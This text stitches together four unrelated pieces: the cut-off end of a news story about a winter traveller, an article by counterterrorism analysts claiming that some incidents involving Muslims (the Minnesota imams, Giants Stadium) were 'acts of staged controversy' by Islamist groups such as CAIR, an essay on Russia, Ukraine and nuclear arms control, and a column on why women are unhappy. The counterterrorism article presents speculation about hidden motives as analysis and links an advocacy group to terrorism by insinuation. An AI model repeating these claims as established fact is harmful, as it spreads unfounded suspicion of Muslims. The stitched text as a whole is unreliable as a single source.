Kurachi's will to see his dream through.  "It takes great courage, and to have done other trips successfully in the winter, I admire him for that.  "Some people think we are crazy or he is crazy, but we both agree we think people are crazy if they just sit in their house and watch TV all winter. It's a waste of a life."​  Stephens plans to give Kurachi a place to stay at the end of his trip.  Kurachi has passed Fort Providence and is now continuing on to Wrigley. He expects to reach Tuktoyaktuk in April.​
-Through careful study of terrorist incidents and investigations and study of the histories of the terrorist groups, U.S. law enforcement officers, security officials, and intelligence analysts have developed an understanding of the tactics, techniques and procedures used by terrorists preparing for and conducting attacks. Professionals can usually distinguish between a truly suspicious incident and benign behavior. However, there is a third category of non-violent activities that is more difficult to identify, which we will refer to as "acts of staged controversy."  There are some cases where witnesses describe actors' behavior as "odd" yet very overt—behavior apparently designed to attract attention. Viewed under differing prisms, the behavior could be classified as either benign or as some type of terrorist activity. Decision makers and practitioners should consider the possibility that certain incidents are staged or that they are escalated by manipulation of the media and the legal system to create controversy and to provoke a response to serve strategic purposes.  It is very difficult to prove ulterior intentions behind what we are referring to as "acts of staged controversy." Perhaps these acts are deliberately provocative. Or, it is possible these are innocent events that may be seized upon by advocacy groups for political gain. We present this hypothesis to provide an alternative way of analyzing these types of incidents.  Strategic Motivations of Islamist Groups  Islamist groups, such as the Muslim Brotherhood, do not necessarily intend to engage in violence (though some branches of the Muslim Brotherhood are very violent). Nevertheless, they share the same long-term goal as violent jihadist groups: to establish an Islamic society. Part of their strategy is to weaken and dismantle democratic regimes.[1] They endeavor to "Islamize" society using a bottom up approach[2] so that eventually their doctrines are accepted as the norm rather than considered extreme or marginal.  This article offers two cases, both involving the Council on American-Islamic Relations (CAIR), which describes itself as a Muslim advocacy organization. These cases are meant to be illustrative of how acts of staged controversy may be implemented by groups with an Islamist agenda.  Many of CAIR's founding members were members of the Muslim Brotherhood[3] and of a support network created by the Brotherhood to benefit Hamas. Some experts believe that CAIR continues to be deeply involved with the Muslim Brotherhood and Hamas and supports their objectives.[4],[5] The Muslim Brotherhood is not considered a monolithic organization, and its various branches may disagree on specific tactics, but all are consistent in their commitment to its core ideological principles, including the adoption of their political version of Islam as a governing standard for all Muslims around the world.[6]  In 1991, the Muslim Brotherhood issued a memorandum outlining its strategic goal in North America.[7] It reads, in part:  "The [Muslim Brotherhood] must understand that their work in America is a kind of grand jihad in eliminating and destroying the Western civilization from within and "sabotaging" its miserable house by their hands and the hands of the believers so that it is eliminated and Allah's religion is made victorious over all other religions."  Minnesota Imams  On November 20, 2006, six imams boarded a US Airways jet that was about to depart from Minneapolis-Saint Paul International Airport for Phoenix, Arizona. They had attended a three-day conference of the North American Imams Federation. Three only had one-way tickets and no checked luggage.[8] Various witnesses reported observing the group praying in an unusually loud way in the waiting area prior to boarding.[9] One of the witnesses, a clergyman who was familiar with Islamic practices, described their behavior at the gate as "atypical."[10] This same witness was later seated next to one of the imams on the plane and intentionally engaged him in conversation. The imam initially expressed to the witness that he was in the United States to do work related to his Ph.D. Later in the discussion, he admitted he was not doing academic work but instead intended to "represent Muslims in the United States" by generating support for Shari'a law.[11]  Upon boarding the plane, the imams dispersed. Two sat in the front of the plane, two in the middle, and two in the rear.[12] The flight crew and passengers observed them changing seats, and several of the men requested seat-belt extenders.[13] Crew members thought the request was odd, as none of the imams appeared overweight.[14] Although the extenders were provided, they were never used and were left on floor of the plane.[15] One passenger stated that she believed that the imams deliberately acted out as a part of an attempt to intimidate airline employees.[16] Another passenger said, "I can't explain it, but it was like they were definitely trying to raise suspicion."[17] The flight was delayed and the imams were removed from the plane by the airport police, questioned, and released after their plane had already departed.  CAIR filed a complaint with the Department of Transportation, and a separate civil suit in federal court on behalf of the imams against US Airways and the Metropolitan Airports Commission, citing civil rights violations. CAIR also sued the "John Does" who alerted the aircrew and authorities after becoming alarmed by the imam's behavior in the terminal and on the plane.[18] While the "John Doe" provision of a bill (designed to protect citizens who report possible terrorist-related behavior from being sued, and to protect officers acting in an official capacity to prevent terrorist attacks) was moving through Congress, CAIR persisted with its lawsuit, claiming the right to discover whether the complaints were actually made "in good faith" or if they were racially motivated.[19]  President George W. Bush signed the "John Doe" provision[20] into law on August 3, 2007 and CAIR dropped its claims against the "Does."[21] There may be a residual "chilling effect," however, that would prevent concerned citizens from reporting suspicious incidents for fear of getting sued.[22] Causing reluctance to report suspicious incidents in which Muslims are involved may be an aspect of Islamist strategy to reduce resistance to the Islamization of society.  In January 2009, the U.S. Department of Transportation ruled that US Airways did not discriminate against the imams and that the airline's actions were reasonable. The civil suit is scheduled to go to trial in August, 2009.[23]  Giants Stadium  During a football game September 19, 2005 at Giants Stadium, five Muslim men were questioned by FBI agents after they prayed near the stadium's main air intake duct located in a sensitive area.[24] Former President George H.W. Bush attended the game and security was high. After approximately 20 minutes of questioning, FBI agents determined that the group did not pose a threat and allowed them to return to the game.  This group may have acted completely innocently. The issue, however, was not dropped by the men, and a few weeks later, on November 2, 2005, the group joined forces with the New Jersey-based American Muslim Union and the New York City chapter of CAIR for a joint press conference concerning the incident. At the conference, the men complained that they had been humiliated at Giants Stadium, and that their "main aim [in publicizing the episode] was to bring to light and educate people about what it is we're supposed to do."[25] They also took the opportunity to promote a campaign called "Pray for Understanding,"[26] which the executive director of the New York office of CAIR described as a way to teach people about Islam. The tie-in to the "Pray for Understanding" campaign at the press conference suggests the possibility that the incident at Giants Stadium may have been staged to create a platform to promote an ulterior public relations agenda.  What Islamists Might Gain from "Acts of Staged Controversy"  The Minnesota Imams and Giants Stadium incidents are just two examples where unusual but overt behavior has been investigated, dropped (because there was no clear indication of wrongdoing), and subsequently taken up and intensified by CAIR or by other Muslim groups. Due to the involvement of Islamist advocacy groups, news stories are generated and controversy stirred.  If the objective of Islamist groups, such as the Muslim Brotherhood, is to establish Islam as the dominant global societal doctrine, then how would creating acts of controversy - or seizing on opportunities to create controversy - further their strategy to achieve their objective? If they intend to achieve their objective through non-violent means then it is logical to conclude that they would want Muslims to embrace their perspective and to eschew democratic principles..  For example, acts of staged controversy could be used to:  Cause Muslims to feel disaffection for the democratic system by promoting feelings of betrayal and abandonment.  Convince Muslim Americans that they are not accepted as Americans. Acts of staged controversy provoke a response from authorities that can foment an "us vs. them" rift between Muslims and non-Muslims.  Incite political divides that may ultimately cause political instability.  Influence legislators to call for laws to outlaw profiling and/or repeal existing laws such as the Foreign Intelligence Surveillance Act and the Patriot Act.  Draw attention from foreign media in an attempt to show that the U.S. rhetoric about acceptance is hollow.  Acts of staged controversy could also be exploited by groups who seek to use violence. For example, acts of staged controversy could be used to:  Desensitize security personnel by making activity that common sense would deem suspicious instead seem routine and not worth any special effort.  Intimidate security personnel and citizens by threatening lawsuits; making them reluctant to report suspicious behavior.  Handling Acts of Staged Controversy  Unfortunately, hatred, bigotry, and mistrust exist in the United States, and it is the role of civil rights groups to respond appropriately when acts of hatred do occur. It is the duty of responsible officials to monitor political, religious, and social tensions so that violent acts motivated by hatred can be prevented. The long view for homeland security, however, cannot be compromised by hasty responses to ambiguous situations. It is possible that some Islamist groups may exaggerate the occurrence of anti-Islamic discrimination in order to validate the premise that "Islamophobia" is rampant. According to FBI statistics, out of a total 7,624 hate crimes reported in the United States in 2007, 115 were motivated by anti-Islamic bias.[27] By contrast, 2,658 were motivated by bias against blacks, 749 were anti-white, 1,265 targeted people based on sexual orientation and 969 of the hate crimes reported were motivated by bias against Jews.[28]  Law enforcement and security personnel, airline and airport managers, legislators, politicians, media, and private citizens all have roles to play to prevent the spread of extremist ideology, which could lead to radicalization and, ultimately, a possible terrorist event.  Response at the Federal, Law Enforcement and Media Levels  Politicians must acknowledge Islamist ideology is being promoted in the United States, recognize who is promoting it, and understand the subtle tactics used by the Islamist groups before they can introduce effective counter-measures against terrorism. Politicians must realize that Islamist groups are competing for hearts and minds in the United States, so commitment to democratic values cannot be taken for granted.  How does law enforcement play a role in acts of staged controversy if there is no apparent crime committed? It is unlawful to conspire and to deliberately disrupt or interfere with the legitimate activities of law enforcement and security personnel. Engaging in deliberately suspicious behavior in order to distract security and law enforcement authorities is a tactic that has been discussed on Islamist message boards.[29] Of course, in ambiguous situations it is hard to prove the actual intent of the actors. Difficult though it may be, investigations should be conducted and cooperating witnesses sought and developed. The stakes are high, especially when the results of these incidents are considered in the aggregate and not individually.  Associations with terrorists or terrorist groups are not evidence of a crime, but are valuable data points in evaluating the true nature of an incident. If there are nefarious or questionable associations or prior activities that could shed light on possible motivations for ambiguous acts, they should be made known as much as possible. For example, one of the six imams involved in the Minnesota airport case, Omar Shahin, raised money for the Holy Land Foundation and for the Illinois-based KindHearts Foundation, which the government shut down last year for alleged support of Hamas."[30]  Additionally, the media should be aware of the possibility that it is being used to further an Islamist agenda. Media cooperation and extensive coverage is a key element of successful acts of staged controversy. Historically, global political Islamist groups have skillfully manipulated the media as part of their effort to circulate their message.[31] Statements made by spokespeople representing Islamist groups are often taken at face value by the media, and past involvements and associations often go unmentioned. Just as it is for law enforcement, it is important for the media to consider incidents in the aggregate.  Conclusion  It could be that individuals or groups unintentionally behave in a way that is deemed suspicious, and that official response may cause embarrassment. It also is true that innocent events create opportunities for groups like CAIR to influence the public's view of Islam, both politically and ideologically.  Acts of staged controversy or public relations campaigns manipulating otherwise innocent events may be an aspect of Islamist group strategy to Islamize society. Authorities dealing with such incidents should assess the behavior as an aggregate. Their responses should address the root of the problem, rather than potentially allowing such incidents to compel a response that supports the Islamist agenda.  Madeleine Gruen is a Senior Analyst for the NEFA Foundation. She is also a Senior Intelligence Analyst for Mike Stapleton Associates and is a contributor to the Counterterrorism Blog. Previously, she was an intelligence analyst for the New York Police Department's Counterterrorism Division.  Edward Sloan is a detective in the New York Police Department with 35 years of service. He is a Navy Reserve Officer and since 2001 has deployed several times to Afghanistan and the U.S. Naval Base at Guantanamo Bay, Cuba. His views are not necessarily those of the NYPD or the Navy.  [1] Stephen Coughlin, Analysis of Muslim Brotherhood's General Strategic Goals for North America, Statement entered as evidence in U.S. v. Holy Land Foundation, September 7, 2007.  [2] Zeyno Baran, The Muslim Brotherhood's U.S. Network, Current Trends in Islamist Ideology, Vol. 6, Hudson Institute, 2008.  [3] Douglas Farah, Ron Sandee, and Josh Lefkowitz, The Muslim Brotherhood in the United States: A Brief History, NEFA Foundation, October 26, 2007, http://www1.nefafoundation.org/miscellaneous/nefaikhwan1007.pdf (last accessed February 26, 2009)  [4] See: "Government's Memorandum in Opposition to Council on American-Islamic Relations' Motion for Leave to File Amicus Curiae Instanter and Amicus Brief in Support of the Unindicted Co-Conspirators' First and Fifth Amendment Rights," USA v. Holy Land Foundation, 3:04cr240 (TXND September 4, 2007) in which prosecutors say "CAIR has been identified by the Government at trial as a participant in an ongoing and ultimately unlawful conspiracy to support a designated terrorist organization, a conspiracy from which CAIR never withdrew."  [5] "Beware of CAIR" letter from U.S. Reps. Sue Myrick, Pete Hoekstra, John Shadegg, Paul Broun and Trent Franks to other House members. January 30, 2009. It says "There are indications that this group has connections to HAMAS. " And, letter from U.S. Rep. Frank Wolf to Michael Heimback, FBI Assistant Director, Counter Terrorism Division, February 2, 2009. Wolf asks about news reports that the FBI has cut off communication with CAIR "amid mounting evidence that it has links to a support network for Hamas."  [6] See The Muslim Brotherhood's English-language web site, http://ikhwanweb.com/index.asp.  [7] The Muslim Brotherhood's document outlining their strategy in North America and analysis of the document can be found on the NEFA Foundation web site: http://www.nefafoundation.org/hlfdocs.html. See Exhibit GX 4-21 (last accessed February 26, 2009).  [8] Minnesota Airport Police Incident Report, OCA # 06004536, November 20, 2006.  [9] Katherine Kersten, Ordering Imams Off Flight Was Reasonable Act, Minneapolis-St. Paul Star-Tribune, December 7, 2006.  [10] Minnesota Airport Police Incident Report, OCA # 06004536, November 20, 2006.  [11] Ibid.  [12] Ibid.  [13] Ibid.  [14] Ibid.  [15] Ibid.  [16] Ibid.  [17] Ibid  [18] Steven Huntley, Travelers Need Shield From Lawsuit, Chicago Sun-Times, July 29, 2007.  [19] Ibrahim Hooper, National Communications Director for CAIR, appearance on "Tucker," MSNBC, July 29, 2007.  [20] The Implementing Recommendations of the 9/11 Commission Act of 2007 (H.R.1)  [21] Audrey Hudson, Imams Drop Lawsuit Against Doe Passengers, Washington Times, August 23, 2007.  [22] See Congressman Peter King appearance on Fox News Channel, July 20, 2007, http://www.youtube.com/watch?v=bYbev9SDMtc (last accessed February 24, 2009).  [23] David Hanners, Feds Refute Imams' Bias Case Against US Airways, Twin Cities Pioneer Press, February 18, 2009.  [24] A Place to Pray During Games, New York Times, November 23, 2005.  [25] Jeff Diamant and Russell Ben-Ali, Meadowlands to Add Worship Area, Newark Star Ledger, November 22, 2005.  [26] Ibid.  [27] Federal Bureau of Investigations, 2007 Hate Crime Statistics, http://www.fbi.gov/ucr/hc2007/incidents.htm (last accessed on February 24, 2009).  [28] Ibid.  [29] U.S. Department of Homeland Security, HSIA 04-0042, September 2, 2004.  [30] Ibid.  [31] Madeleine Gruen interview with former high-ranking member of Hizb ut-Tahrir, December 8, 2008. Also see Habib's Get Rich Quick Schemes, Manchester Evening News, December 18, 2008.
-The Ukrainian crisis has entered its second summer. While the ferocity of the clashes in East Ukraine has eased since the Minsk Agreement in February, deadly fighting continues on a daily basis. In the meantime, the conflict has fallen somewhat off the radar of Western media, while the suffering of the civilian population in eastern Ukraine continues. There are no signs on the horizon of any accommodation between the governments of Ukraine and Russia. Must Europe accept an ongoing, low-intensity military conflict on its fringes as the new normal?  The Western bloc’s response to Russia’s annexation of Crimea in March 2014 and subsequent sponsoring of an anti-government insurgency in Donbass has remained remarkably coherent so far. It is also having an effect: as Alexei Kudrin, Putin’s Minister of Finance from 2000 to 2011, remarked last month, “Russia is in the midst of a fully-flegded crisis.” In part because of the West’s co-ordinated economic pressure the Russian Central Bank expects the country’s GDP to shrink by up to 4% in 2015. So far this has not prompted a shift in Russian attitudes towards key issues regarding Ukraine. Putin continues to enjoy sky-high domestic approval ratings while the Russian government’s creeping takeover of the media landscape is eliminating political dissent from mainstream outlets. Spinning a tale of aggressive American intervention in Russian affairs, the national media are rallying nationalist sentiments and pushing a narrative of a declining, decadent West, all while successfully maintaining that Russia is not involved in a military conflict with its neighbour Ukraine.  The origins of the East-West stand-off over Ukraine are systemic in nature: neither side is prepared to give any ground. For the West, matters of principle are at stake: the inviolability of Ukraine’s sovereign borders as guaranteed by the Budapest Accords, and the right of nations to choose their alliances freely and without external interference. For the Kremlin, the conflict has become deeply intertwined with wider calculations about regime survival, making unilateral concessions unlikely.  Some 20 years ago, the US and Russia began a process of sustained engagement that culminated in the end of the Cold War. Then, as now, efforts at nuclear arms control could generate the initial diplomatic capital needed for a wider improvement in relations.  What is motivating Russian actions?  There remains in the West a degree of confusion about the reasoning behind Vladimir Putin’s choices in Ukraine. What exactly is Russia hoping to gain from its renewed confrontation with NATO? After the ouster of fellow kleptocrat Viktor Yanukovich, it appears that Putin felt there was more to gain than to lose from annexing Crimea and underwriting an insurgency in Eastern Ukraine. Russia’s strongman has since put up with the fall-out: as former US Assistant Secretary of State PJ Crowley put it, his ‘domestic political gain outweighs the international pain.’ Perhaps he was also laying down a marker: further NATO expansion toward Russia’s borders will not be tolerated. But a question remains: why did he elect a policy of confrontation with NATO in the first place? The answer matters a great deal. As former Secretary of State James Baker put it, “If there was a single key to whatever success I’ve enjoyed in diplomacy it has been my ability to crawl into the other guy’s shoes. When you understand your opponent, you have a better chance of reaching a successful conclusion with him or her.”  At the annual Fulbright Lecture in Oxford in June, Jack Matlock articulated the diplomat’s answer to this question of ‘who caused Putin.’ Matlock was himself a key figure in the end of the Cold War: he served as head of the Soviet Affairs desk on the National Security Council in the early 1980s and as Ambassador to the Soviet Union in the crucial years from 1987 to 1991. According to Matlock, the roots of the current crisis lie in the West’s mistaken conclusion in 1991 that ‘we won.’ In reality the end of the Cold War was negotiated through arms control deals, troop reduction agreements, the voluntary and peaceful dissolution of the Soviet empire, and the mutually agreed reunification of Germany. In the years that followed, however, as the myth of victory took hold, Western leaders repeatedly ignored vital Russian security interests, most importantly by permitting NATO’s eastward expansion. Assurances that such moves were of a defensive nature faded in Russian eyes when NATO conducted a bombing campaign against Serbia in 1999. Inclusive steps by Western powers such as permitting Russia’s entry into the World Trade Organisation did not outweigh a growing perception of anti-Russian aggression – witness, for example, the depth of the resistance that NATO’s plans for a ballistic missile defense system have prompted in Moscow. For Matlock, the West’s enthusiastic support of colour revolutions and its promises to put Georgia and Ukraine on a path toward NATO membership cemented the view in Russia that its interests were being systematically undermined. The pushback began with the invasion of Georgia in 2008 and dangerously escalated in Ukraine last year. In other words, for Matlock, ‘we caused Putin.’ The implication is that a correction of Western policies could ameliorate the current state of affairs.  The alternative argument is that Russia’s foreign policy is the end-result of a post-Soviet journey toward autocracy that would clash with the liberal world order sooner or later. The genesis of contemporary Russia is the subject of a number of books and documentaries that examine Putin’s rise. Princeton’s Stephen Kotkin, a History Professor at Princeton University, has reached the following conclusion:  ‘The methods Putin used to fix the corrupt, dysfunctional post-Soviet state have produced yet another corrupt, dysfunctional state. […] Bit by bit, using stealth and dirty tricks, Putin reasserted central control over the levers of power within the country – the TV stations, the gas industry, the oil industry, the regions. It was a cunning feat of state rebuilding.’  More sinister are the implications of an article by Scott Anderson that the commissioning publisher, Condé Nast, refused to distribute for fear of reprisals against its Russian subsidiaries. Anderson investigates the Moscow Apartment Bombings of 1999 that cost hundreds of lives, precipitated the Second Chechnya War and accelerated Putin’s rise to power. He reconstructs a number of fairly clear-cut links between Russia’s domestic secret service – headed by Putin until 1999 – and the likely perpetrators of the bombings. Official complicity in the atrocities is, incredibly, not at all far-fetched.[1] It is also consistent with the more alarming features of contemporary Russia: repression is on the rise and prominent opposition figures are being silenced in disturbing ways.[2] It is immaterial whether the dozen or so murdered Putin critics were killed at the Kremlin’s behest, or by forces eager to ingratiate themselves to the government: either way, the result is that any public figure speaking out against Russia’s leaders incurs a considerable health risk in doing so, a state of affairs that strengthens Putin’s grip over the country.  In this view, the real motivation behind Russia’s increasing assertiveness abroad isn’t opposition to Western hegemony, but to ward off the spectre of a colour revolution at home. NATO’s 1999 campaign against Serbia that provoked such anger in Moscow was aimed at curbing state-sponsored massacres of Kosovars, and ended up bringing democracy to the region. Both Georgia and Ukraine experienced a partial transition to democracy before suffering Russian military incursions. Most interestingly, efforts by Barack Obama to ‘Reset’ American relations with Russia came to an end despite the President’s best efforts after the Kremlin blamed ‘CIA forces’ for the mass-demonstrations that broke out in Moscow following Putin’s re-election in 2011. Arguably, the real turning point in the Kremlin’s thinking was when the potential of a democratic revolution reached Russian borders.  This interpretation of Russia’s actions is worrying. Because if Putin is ultimately motivated not by geopolitical considerations but by internal (or personal) ones, then his optimal strategy is to maintain a frozen, perpetual conflict in Ukraine while periodically destabilising other areas of interest on Russia’s borders. To a determined autocrat, deliberate subversion of democratic alternatives is preferable to the risk involved in permitting a stable, successful liberal democracy to emerge on Russia’s borders: after all, this would constitute the greatest threat to Putin’s rule.  Nuclear opportunities?  Are the current state of relations bound to worsen? The risk of gradual tit-for-tat escalation is real. Russia’s increasing military intrusions into NATO airspace have prompted fears of a challenge to the collective defense provision of the North Atlantic Charter. These fears begat the Obama Administration’s decision to station heavy weapons in Eastern Europe, which, in turn, sparked further Russian retaliatory moves – and onwards spins the escalatory wheel. Little seems to be in place to prevent this spiral from continuing. As Sergei Ivanov, Putin’s Chief of Staff, observed: ‘there are practically no channels for interaction left.’ In fact, the situation is eerily reminiscent of 1983, when East-West relations were at their lowest ebb since the Cuban Missile Crisis and the spectre of nuclear escalation loomed large.  Then, as now, the nuclear dimension of the conflict is the most troublesome. Yet it also offers the best bet for constructive engagement between the two sides. With the 2015 Non-Proliferation Treaty (NPT) review conference ending in deadlock, there is a risk, as Alexei Arbatov has pointed out, of sleepwalking into a new nuclear age, where nuclear force doctrines are once again elevated in military importance, creating further fear and mistrust among the world’s great powers. In this kind of environment, the only bulwark against nuclear war is mutual deterrence, which currently stands on shaky ground: Strategic Missile Defense remains as thorny an issue today as it was in the 1980s and encourages the development of high-precision long-range conventional missiles, as well as the weaponisation of space. If not curtailed, a renewed era of strategic confrontation in the nuclear domain would strengthen the dangerous dynamic of non-aligned countries pursuing weapons with nuclear capabilities as a security measure.  But the potency of nuclear intensification also represents an opportunity. Precisely because of the cataclysmic potential of nuclear war, the institutional regime regulating the spread of atomic weapons became an engine of co-operation and reassurance among the great powers during the later stages of the Cold War. Today, it remains incumbent upon the US and Russia, who possess 90% of the world’s nuclear weapons, to lead the non-proliferation regime. While important planks of the post-Cold War security system remain in place – such as the 1987 Intermediate Nuclear Force treaty and the New START treaty of 2011 – the US and Russia would be well-advised to systematically re-engage by kick-starting the nuclear arms reduction talks that have flat-lined since 2011. Doing so could help to re-build the kind of trust that Reagan and Gorbachev once managed to create. A new nuclear arms race would clearly be in neither country’s interests. Indeed, the saliency of US-Russian nuclear co-operation was demonstrated this week by the conclusion of the nuclear accord on Iran. The success of US-Russian collaboration in this domain was not lost on either of the country’s leaders.  If diplomacy on the nuclear front spills over into wider diplomatic re-engagement, then common ground on controversial issues surrounding Ukraine might be found in the medium-run. Federalist reforms and devolution to strengthen the political rights of ethnic Russians in Eastern Ukraine (in return for guarantees concerning Ukraine’s sovereignty) may assuage the Kremlin’s concerns about anti-Russian rule in Kiev. Opening up a route for Ukraine to join the EU would lack the security implications of NATO membership yet give the country a chance to become a liberalised state that does not threaten Russia. Crimea might then be formally ceded after an internationally observed, free and fair referendum, which would likely produce a pro-Russian outcome.  Painful compromises on both sides will be necessary to defuse the intolerable risks of the status quo. This is why nuclear arms talks are a good place to start, just as in the 1980s. A failure to repair the broken relationship between Russia and the West will heighten the spectre of escalating nuclear tensions and risk a new age of proliferation in which a fatal error or misjudgement could produce the gravest of consequences. The conflicting parties already understand this in some sense, as the Iranian nuclear talks showed. Amidst the turmoil in Greece, the Middle East and the South China Sea, we would do well not to overlook the fraying of the international nuclear order. Therein, after all, lies the most fundamental and unthinkable of international security risks – as well as the clearest route to rapprochement between Russia and the West.  [1] For instance: “Gennady Seleznyov, the Speaker of the Duma, made a speech on the floor of Parliament on the morning of September 13, 1999. ‘I have just received a report,’ he announced to legislators. ‘An apartment building in the city of Volgodonsk was blown up last night.’ While Seleznyov got the basics right – an apartment building had indeed just been blown up – he had the wrong city; the blast that morning had been at 6/3 Kashirskoye Highway in Moscow. This put the Speaker in an awkward spot when an apartment building in Volgodonsk was blown up three days later.” [2] Alexander Litvinenko, for example, was a former FSB agent who blew the whistle on the Apartment Bombings and ended up dying a slow, painful radiation-induced death after being poisoned with a kind of Polonium that could only be obtained at a specific former nuclear site in Russia. Putin himself later awarded the man suspected by the British government of murdering Litvinenko a medal of honour.  Benjamin Mueller is a doctoral candidate in International Relations at the London School of Economics. He is also the International Relations Stonex Scholar at LSE IDEAS.  This work is licensed under a Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License.  For more information on issues and events that shape our world, please visit ISN Security Watch or browse our resources.
-We've pretty much got it all... so why are we women so miserable?  Well, here we are then. We've done it, we females of the species - we've pretty much got it all. Success, love, careers, sexual freedom, babies. We're running countries, for goodness' sake, huge, powerful ones like Germany and Bangladesh and one of us - Hillary Clinton - nearly got to be the most powerful person on Earth.  We must be over the moon, dancing all the way to the office and then all the way home again at night.  Only - we're not. Far from it, it seems. New research, published in the U.S., and relating to a study of more than a million people, shows that women are more miserable than we've ever been. And we're actually getting more miserable.  Umbrella days: Research in the U.S. shows that women are more miserable than they've ever been  And this is the real point - men are not. According to the same research, men are getting happier and, moreover, are even happier as they get older.  And it's not just this study. The World Health Organisation reports that depression is the second most debilitating disease for women; for men, it's the tenth most.  Now why is that? What miserable little worm of a gene must there be in our psychological and emotional make-up that means we do nothing but complain about our lot, when that lot is so extremely good? Indeed, better than ever in the history of womankind.  Someone said to me once, way back in the early days of bra-burning feminism, and I've never forgotten it: 'Women are terrible moaners. They moan because they want to be married, then they moan because they want a baby, then they moan because it's boring at home and they want to go back to work, then they moan because they feel guilty about leaving the baby.'  Not a quote from some cynical man, as you might presume, but from a fully fledged, successful, working woman with three children.  Letting the sisterhood down to be sure, but wouldn't you admit there is something at least in what she says? Are we not just permanently dissatisfied?  Of course, being dissatisfied has got humanity where we are today. We always want more, we always want to better what we've got and, as a result, humankind progresses.  But that doesn't explain why women in particular are feeling a lot less contented than we did, say, 50 years ago.  So is our unhappiness directly related to our new post-feminist - and theoretically enviable - situation in society, with every possibility seemingly open to us professionally, academically and even romantically?  Could it be that having too many choices has left us dissatisfied with whichever one we choose - because we constantly fear another path in life could make us happier?  If that is the case, then many men, and many of my mother's generation, might find that rather rich given how much drudgery was involved in being a housewife half a century ago.  Maybe our unhappiness these days just seems so outrageous because we do have it so good. Because we do have the option to work or be at home.  Yes, my mother resented her dependence on my father and the boredom of her daily round of housework, shopping, cooking, washing, ironing and running around after me with no prospect of escape. But at least she was valued by society.  Back then, mothers simply didn't work outside the home. They had their babies and stayed at home to look after them. There was no option.  So maybe our unhappiness these days just seems so outrageous because we do have it so good. Because we do have the option to work or be at home.  What this research also tells us is that we can't complain that we have to do all the domestic stuff any more; technology has lifted a huge amount of the burden, and men are becoming increasingly good at doing their share of the chores.  That's all well and good, but while the men may be helping more at home, most of us are tying ourselves in knots trying to make a success of the careers we regard as a birthright.  The cost of being a working mother is astronomical - and I'm not referring to nursery and childminding fees, although the stress of earning the money to cover those does come into the equation.  Measured in terms of guilt, exhaustion, fear (yes, I do mean fear - fear that the creche catches fire, or the au pair gets involved in a long phone conversation and the two-year-old wanders out into the road), well, it doesn't get much pricier than that.  Show me a working mother who can concentrate 100 per cent on a meeting that starts half an hour before she absolutely has to leave in order to arrive at the nursery before it closes, and I'll show you a creature as rare as the unicorn.  I simply do not believe that any man, however 'new' and however much he has changed nappies and bonded with his babies, feels the same gut-wrenching guilt and anxiety when he's away from them on a regular basis that women do.  The study by the WHO found that depression is the second most debilitating disease for women  It's simple biology. In that area, we haven't really progressed much from the days of the cavemen. Until someone finds a way for men to actually bear the babies, it won't change.  So, if the modern right to work is making mothers unhappy and feeling torn in two, what about the cost of being a stay-at home mother?  You feel bored, frustrated and resentful much of the time, however much you love the small person who has just tipped its juice onto the floor for the fourth time, or grizzled all the way home from the swings.  And who makes the very thought of a sex life some kind of blurred and unimaginable mirage.  Was it for this, you wonder, that you struggled to get your 2:1 in Classics or fought your way up the company ladder and got a car and key to the executive washroom? What are you doing here at home? How did that happen?  And however much you love your children, there's no doubt the attitude of society towards stay-at-home mothers fosters a feeling of inferiority for many women.  When my children were small, the stay-at-home mother was the 'good mother' who was feted as an example to us all. As the working variety, I was in a tiny minority and I was pilloried for it.  But now if you're at home, you aren't cherished by society. You are somehow cast as a self-satisfied prig, letting down the worker bees, unable to say anything meaningful about anything and most unfairly endowed with a husband who earns enough money to indulge your desire to stay at home.  The Government's desire to drive all women back to work by offering ' wraparound childcare' doesn't help either.  So my argument is that millions of modern women are unhappy whether they go to work or stay at home.  It seems the shackles we cast off in the feminist revolution have only enabled us to be miserable whatever we do.  I sometimes think (not entirely seriously, but it bears examination) that we'd all be a lot happier if we were obliged by law to stay at home for five years - or maybe three - after having each baby, and then went back to work.  There would be no conflict, no self-doubt and, most importantly, no guilt; you'd just have to settle down and get on with it and wait for your turn to go back to the real world.  And you know what? You'd probably enjoy it.  There is no doubt that the to-work-or-not dilemma is absolutely crucifying. I believe it is at the heart of women's unhappiness. And there really is no correct answer. The glass is always half-empty, wherever you are.  If those are the issues that drag down a woman's mood throughout her 30s and 40s, what happens to our male counterparts later in their lives?  A woman of 50 is reproductively done for, all washed up; a man of 50 can marry again and have babies. The fact he probably won't is neither here nor there - he knows he could if he wanted to.  Why, for example, do men get happier as they get older, while we get more miserable?  I think it's biology. A woman of 50 is reproductively done for, all washed up; a man of 50 can marry again and have babies.  The fact he probably won't is neither here nor there - he knows he could if he wanted to.  That's the whole point. We're left staring into the empty nest, with absolutely no chance of filling it again, except spasmodically with the grandchildren.  And I don't care what anyone says or how many pictures there are of Sophia Loren looking dazzling at 75, women age faster than men. And most of us do mind.  I'm extremely blessed, with a huge and happy family (last time I looked anyway) and work I adore.  But I still fret on a daily basis about unworthy things, such as my sagging arms and wrinkles multiplying at the speed of light.  Perhaps that's because we live in a horribly introspective age. We fret and fuss over ourselves as never before; it's almost a disease in itself. Never were upper lips less stiff; never were so many hearts to be seen on sleeves.  Diana, Princess of Wales led the way and the nation followed, confessing, kissing, weeping.  Among the famous, it's reached boiling point: who's had the unhappiest childhood, the most demeaning relationship, the toughest rejection? Me, Me, Me!  Pouring out their hearts at the drop of a designer hat, gazing into their surgically reduced navels. Just Putting Up With It is seriously old-fashioned.  Too much self-analysis is dangerous. Am I happy? Am I bored? Am I fulfilled?  It's a bit like thinking you might have a sore throat or a stomach ache; concentrate really hard on the throat or the stomach and yes, there it goes, nasty little tickle, beastly little ache.  The problem is that if you ask yourself 'Is my life as wonderful as I'd hoped?', the answer is that it probably isn't.  If you ask 'Am I really still in love?', the response is that, of course, it's not the same as it was when you met.  It's all a bit like constantly digging up a frail little sapling to see if it's growing, and killing it as a result.  If you leave the sapling of happiness alone, it will have a much better chance of setting down some roots and starting to thrive.  What we must do is appreciate the things we are doing well in life, whether it is mothering or working - and not dwell on the things we fear we're missing out on.  Collectively as a sex we must hang onto that approach. If we can convince ourselves that our glasses are actually half-full rather than half-empty, then we should feel a whole lot more optimistic. And maybe a whole lot happier.
